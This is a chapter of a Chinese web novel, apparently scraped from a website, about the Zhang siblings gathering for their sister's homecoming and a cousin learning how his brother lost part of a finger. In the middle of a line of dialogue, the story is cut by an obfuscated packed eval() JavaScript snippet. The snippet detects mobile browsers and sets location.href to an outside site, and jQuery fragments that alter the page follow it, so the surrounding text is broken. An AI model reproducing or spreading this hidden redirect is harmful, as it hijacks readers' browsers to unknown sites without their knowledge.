直到视线开始涣散，张淞栩才赶紧回神，伸手过去关了水，又捞起张迎鹤的手，就着手里的纸替他擦手，张迎鹤就像个木偶人，任由张淞栩摆弄。


    张淞栩擦完左手，又抽了两张纸，摊开手示意让张迎鹤把右手递过来，张迎鹤乖乖照做，心安理得地接受弟弟的照顾。


    张淞栩的手指上戴着指套，虽然看着笨重，但给张迎鹤擦个手倒是够用，还算得上灵活，连指缝也没有放过，大拇指到最后的小指，即使隔着纸巾，他也轻易察觉到了小指和另外四根手指的区别，没有温度，也没有硬度，是柔软的硅胶触感，里面没有骨头，相比人的皮肤，还有些粘纸。


    张淞栩百感交集，他心疼张迎鹤，但他不想让张迎鹤把这份心疼理解成同情，他这个身娇体弱又多灾多难的二哥，总是因为一些他们压根儿就没有在意过的小事被送进医院的急诊室，轻则打针输液，重则手术住院，好像总是这样，他身上一定还有很多其他的，自己不知道的伤痛。


    “淞栩，谢谢啊。”


    张淞栩停下手上的动作，抬眼看向张迎鹤，他的脸上还有些红晕，被水沾湿的头发贴在脸颊上，眉毛和睫毛也湿了水，一眨眼，睫毛上的水珠便顺着脸颊往下滑落，他牵了牵嘴角，似是在自嘲：“我好像真的有点醉了。”


    “少喝点，鹤哥，我知道秋秋回来了，你开心，大家都开心呢，但还是身体重要。”张淞栩也咧开嘴露出一个无害的傻笑来，又抽纸想要替他擦干脸上的水。


    “好，不喝了，”张迎鹤听话地答应下来，接过张淞栩手里的纸，在脸上随意压了几下，又把湿发往耳后一捋，道，“我们出去吧。”


    “嗯。”张淞栩应了一声，目送张迎鹤转身按下门把，拉开了门。


    他的视线一刻也没有从张迎鹤的手指上移开，那是社交距离上无懈可击的手指——肤色、皮肤纹理，甚至指甲，都和其他手指无异，但只要触摸到，就一定能够发现它和其他手指的区别。


    张迎鹤竟然没有右手小指第一节。


    *


    好在张迎鹤并没有醉得太厉害，不需要人搀扶也能回到座位坐下，身边的张识秋立刻挽上他的胳膊，叮嘱他不许再喝了，示意碗里刚盛的鸡汤，张迎鹤便笑着答应：“好，喝汤。”


    “对了，你们俩平时都不回家，我的车呢？电都亏完了吧？”张识秋突然发起难来。


    张清佑和张迎鹤对视了一眼，无奈一笑：“为了迎接你回来，你鹤哥已经让人把你的车开去做了保养，洗干净停在院子里了，昨天还安排人把家里做了大扫除，就等着我们大小姐回家了。”


    “算你们俩懂事！”张识秋心满意足，就着桌上的菜，奖励大哥龙虾肉一块，二哥排骨一块。


    “当然得懂事啦，犄角旮旯都打扫得干干净净，”张迎鹤喝了一口汤，又补充，“连哥的‘秘密基地’都打扫出来了。”


    张清佑一愣，看向张迎鹤，他端着汤碗，面不改色，慢条斯理地喝着汤。


    张识秋噗嗤一笑：“哈哈哈！‘秘密基地’，好怀念啊！不过现在回想起来，佑哥躲在‘秘密基地’看书，难道不就是嫌我们太吵了吗？我们还专程跑去‘秘密基地’黏着佑哥。”


    一桌的长辈都跟着笑，张清佑赶紧澄清：“我可没说啊！我从来都没嫌你们吵。”


    “真的？”张识秋挑眉。


    “嗯，真的呀。”张清佑说着把龙虾肉送进嘴里咀嚼起来。


    “那哥为什么老喜欢躲在地下室里？”张迎鹤放下手里的碗，笑着追问。


    张清佑也没有回避这个问题，而是诚恳地解释：“没有躲在地下室，只是习惯了，我都默认那里是我的书房了，所以大学的时候，放假回家，也会在地下室看书和写作业，但是每次你带着秋秋来找我，我都很开心，真的。”


    *


    张淞栩喝了酒，加上明天休息，索性就把车丢在停车场，今晚就跟着父母一起回家住，他们家张太自然开心，但兴奋的劲儿也没有持续多久，上车三分钟后就已经全神贯注刷起短视频来。


    张淞栩扭过头，他爹今天也没少喝，正闭目养神，别的不说，这绝对是套话的最佳状态。


    “诶，老张，我问你啊。”张淞栩鬼鬼祟祟地开口。


    “嗯？”老头儿眼皮都懒得抬一下，敷衍地应了一声，“有屁就放。”


    “鹤哥的小指，是怎么回事？”


    这话一出口，车内温度骤降两度，见父母双双将视线投了过来，张淞栩不由得吸了口凉气，僵持片刻，索性一不做二不休，直说了：“他手指怎么没的？”


    沉默了好一阵，他爹才悠悠地开口：“哎，迎鹤小学的时候，他们学校去岛上拓展训练，三天，去的那天好好的，天气也好，结果第二天下雨，还起了大雾，也不知道他们学校怎么想的，竟然让他们冒雨训练，就出了意外，迎鹤的小指第一节整根断了，岛上也没有医院，就学校的校医跟着一起去的，据说也是最佳的保存方式在保存了，但是大雾封航，船在这边港口，学校赶紧联系了你大伯，后面又调动了救援直升机去接，但还是慢了一步，迎鹤的身体你也知道，药也不敢乱用，最后找了很多专家来看，还是没能保住……”


    张淞栩目瞪口呆，火瞬间冲上头，义愤填膺：“不是！这什么垃圾学校！小学生搞什么野外生存啊？天气这么恶劣还要冒雨训练？他们没责任？”


    “有责任不也是赔钱了事，你大伯缺的是钱吗？”


    张淞栩哽了一下，有些丧气：“鹤哥身体本来就不好，怎么什么坏事都让他遇上了……”


    “是啊，还好命保住了！哎……”


    “不对啊，那时候我不是生出来了吗？这事儿我怎么不知道？”


    “你大伯不想让人觉得迎鹤是残疾，所以也没对外声张，但确实少个小指第一节，影响也没太大，反正迎鹤也不用干什么体力活，现在的硅胶手指做得多好，不靠近了上手摸，根本发现不了，你看你今天要是不提，我都给忘了。”


    这点倒不假，不然张淞栩也不至于今天才知道，他垂下眼看着自己的右手，虽然谈不上完全共情张迎鹤，但起码他比其他人清楚，少了小指第一节，并不是“影响也没太大”。


    他爹又连忙警告他：“但你别去问啊！迎鹤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613529|168741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虽然不说，但心里肯定还是有点什么的。”


    张淞栩长舒了一口气，回过头，用自言自语的音量答道：“我知道，我不会问的。”


    *


    张清佑的司机将张家兄妹三人送回了家，向张清佑确认了明早来接他的时间，才开着车绝尘而去。


    张超帆夫妇去世后，兄妹三人在这大别墅里还住了一段时间，后来张识秋读研去了国外，张迎鹤也谈了恋爱，把他在紫苑广场旁的大平层公寓给女朋友住，两人如胶似漆，他索性就不回家了，后来和女朋友和平分手，女朋友搬了出去，他似乎是习惯了，也还住在那里，至于张清佑，他大半的时间都在外地出差，回C市也都住在银海酒店的套房里，这个家早就名存实亡了。


    要不是张识秋这次回国，他们兄妹三人也不会同住在一个屋檐下。


    张清佑看着走在前面的弟弟妹妹，张识秋挽着他哥的胳膊有说有笑，张迎鹤提着张识秋的大行李箱上了台阶，进门开了灯，整个屋子从里到外都亮了起来。


    这是他们的家，是他们住了二十多年的房子。


    温暖只有一瞬，接踵而至的却是无力感，阵阵钝痛在胸腔中蔓延，像是擦亮的火柴燃尽，余温还在，他却听到了心底的声音，这个家早就不是他们的那个家了。


    *


    虽然张识秋刚才在饭桌上活力满满，句句有回应，绝不让长辈的话落到地上，但她毕竟经历了长途飞行，还倒了时差，早就累了，明天的行程也早早订好了，安排了张淞栩做公主的陪玩，张清佑便催她：“秋秋，快去洗澡休息了，明天再玩。”


    “知道知道！哥也早点休息啊，”张识秋说着走近张清佑，张开双手给了他一个大大的熊抱，“是谁家好人国庆节还要上班啊，噢，原来是我的哥哥呀！”


    张清佑被她逗乐了，抬手揉了揉她的头发，笑道：“你呀！淞栩明早八点来接你，说要带你去吃早饭？”


    “是的！”张识秋仰起脸来，一脸嘚瑟。


    “我几点叫你起床？”


    “七点半？”


    “好，那快点去睡了。”


    “知道啦！那我上楼去洗澡啦！”张识秋松开手，蹦蹦跳跳朝楼梯跑，张迎鹤刚好端着牛奶绕出岛台，张识秋接过，象征性喝了一口，噘着嘴给了张迎鹤一个飞吻，道过晚安便上楼去了。


    张迎鹤看着手里还剩下的大半杯牛奶，端起来喝了一大口，身后就传来张清佑的声音：“迎鹤，你也累了，早点休息吧。”


    张迎鹤回过头，难得在只有他们两人的时候还给张清佑好脸色，应道：“好。”


    目送张迎鹤上了楼，张清佑才转头看向另一边走廊的尽头，顺着楼梯往下就是地下室，那是他童年时期的“秘密基地”。


    他没有告诉任何人，他喜欢待在那里，是因为那里有木头返潮的味道，和记忆中自己和母亲生活的一居室的味道一模一样，而那个味道也随着父亲的好心，对地下室进行翻修改造，早已消失殆尽。


    而此刻，那里仿佛有什么魔力，正吸引着张清佑靠近，而张清佑也并没有抗拒，抬脚朝着走廊的尽头走去。